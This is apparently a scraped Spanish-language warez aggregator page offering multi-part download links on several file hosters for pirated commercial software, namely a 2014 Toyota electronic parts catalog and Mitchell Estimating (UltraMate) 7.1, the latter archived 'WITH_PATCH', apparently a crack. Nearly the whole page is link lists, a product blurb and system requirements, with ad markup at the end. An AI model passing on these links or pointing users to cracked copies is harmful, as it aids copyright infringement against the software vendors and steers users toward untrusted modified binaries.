http://u18830711.vip-file.com/download/76542.7c9b3c6adfcdc4073c074e8fcd42/Toyota_EPC_2014.01.part1.rar.html
http://u18830711.vip-file.com/download/97713.95918930c21bbc70f503cb8f585d/Toyota_EPC_2014.01.part2.rar.html
http://u18830711.vip-file.com/download/76775.7220e0449616195a557cce8af742/Toyota_EPC_2014.01.part3.rar.html
http://u18830711.vip-file.com/download/54101.50cc56fc61d19c4e7d7e851a230d/Toyota_EPC_2014.01.part4.rar.html
http://u18830711.vip-file.com/download/37364.39f6571c6791b55d4d0ebfed60e8/Toyota_EPC_2014.01.part5.rar.html

UPLOADED - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
http://ul.to/1rgofj1t
http://ul.to/rlkulprm
http://ul.to/rdscutja
http://ul.to/tf3ez363
http://ul.to/n6aav3u7

TURBOBIT - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
http://turbobit.net/abs7cdx53s9w.html
http://turbobit.net/7dr336k2w3xs.html
http://turbobit.net/7rl9qn5dfpy7.html
http://turbobit.net/ucmp3tezyhn5.html
http://turbobit.net/2hu95f1p25ad.html

HITFILE - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
http://www.hitfile.net/0oXr
http://www.hitfile.net/idKC
http://www.hitfile.net/Dcml
http://www.hitfile.net/C0gy
http://www.hitfile.net/JhQh

Compre Premium Desde Enlaces & Obtenga Descargas Reanudables & Máxima Velocidad !!
↧

Mitchell Estimating (UltraMate) v7.1.136 [03.2014] English

May 13, 2014, 6:39 am
$
0
0





Mitchell Estimating (UltraMate) v7.1.136 [03.2014] English | 3.39 GB | 1 GB Links


Mitchell Estimating (antes UltraMate) es el sistema de estimacion avanzada de Mitchell que viene equipado con tecnologia probada para ayudarle a crear automaticamente estimaciones que sean precisas y verificables, y facilmente aceptada por toda la industria. Estimating combina la precision de bases de datos lideres en la industria con calculos automaticos y paginas de procedimientos de reparacion que practicamente eliminan los errores. La capacidad para multiples redes de usuarios de Microsoft Windows aumenta aun mas la productividad (y las ganancias) de su negocio.




- S.O.: Windows XP; Windows Vista; Windows 7; Windows 8
- CPU: Pentium/Athlon 1.8 GHz o superior
- RAM: 256 MB de memoria del sistema
- Disco Duro: 10 GB de espacio disponible
- Unidad de DVD-ROM


1 GB Links / LetitBit / ShareFlare / Vip-File / Uploaded / TurboBit / HitFile / Extraccion Simple





Compre Premium Desde Enlaces & Obtenga Descargas Reanudables & Máxima Velocidad !!


OPCION 1: (en caso que links expiren o publiquemos nuevas versiones, seran re-subidas aqui)

Código:
http://infodocs.org/web/soft-win/Mitchell_Estimating_(UltraMate)_LINKS.zip

OPCION 2:

Código:
LETITBIT - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
http://letitbit.net/download/91730.98cb104c1abeb06488da3b5692fb/ULTRAMATE_7.1.13_WITH_PATCH.part1.rar.html
http://letitbit.net/download/37473.32d29dccc34bf8ca81343a035717/ULTRAMATE_7.1.13_WITH_PATCH.part2.rar.html
http://letitbit.net/download/91706.9ea001553d53009961492650779f/ULTRAMATE_7.1.13_WITH_PATCH.part3.rar.html
http://letitbit.net/download/18203.1ca792ece378598512e0f0d39149/ULTRAMATE_7.1.13_WITH_PATCH.part4.rar.html

SHAREFLARE - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
http://u18116681.shareflare.net/download/94388.98cb104c1abeb06488da3b5692fb/ULTRAMATE_7.1.13_WITH_PATCH.part1.rar.html
http://u18116681.shareflare.net/download/33922.32d29dccc34bf8ca81343a035717/ULTRAMATE_7.1.13_WITH_PATCH.part2.rar.html
http://u18116681.shareflare.net/download/91433.9ea001553d53009961492650779f/ULTRAMATE_7.1.13_WITH_PATCH.part3.rar.html
http://u18116681.shareflare.net/download/17114.1ca792ece378598512e0f0d39149/ULTRAMATE_7.1.13_WITH_PATCH.part4.rar.html

VIP-FILE - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
http://u18830711.vip-file.com/download/96076.98cb104c1abeb06488da3b5692fb/ULTRAMATE_7.1.13_WITH_PATCH.part1.rar.html
http://u18830711.vip-file.com/download/39006.32d29dccc34bf8ca81343a035717/ULTRAMATE_7.1.13_WITH_PATCH.part2.rar.html
http://u18830711.vip-file.com/download/91524.9ea001553d53009961492650779f/ULTRAMATE_7.1.13_WITH_PATCH.part3.rar.html
http://u18830711.vip-file.com/download/10291.1ca792ece378598512e0f0d39149/ULTRAMATE_7.1.13_WITH_PATCH.part4.rar.html

UPLOADED - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
http://ul.to/ijs9o8mr
http://ul.to/crs90oe2
http://ul.to/egcttv23
http://ul.to/pf950r71

TURBOBIT - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
http://turbobit.net/8urn2unosioc.html
http://turbobit.net/42gbd5a8s6in.html
http://turbobit.net/vtfivrsn9cfe.html
http://turbobit.net/00gq3ppac72o.html

HITFILE - INTERCHANGEABLE LINKS (1 GB) / NO PASSWORD
http://www.hitfile.net/4bps
http://www.hitfile.net/yqRt
http://www.hitfile.net/WUew
http://www.hitfile.net/vguK

Compre Premium Desde Enlaces & Obtenga Descargas Reanudables & Máxima Velocidad !!
↧
Viewing all 11602 articles
Browse latest View live
Search
<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>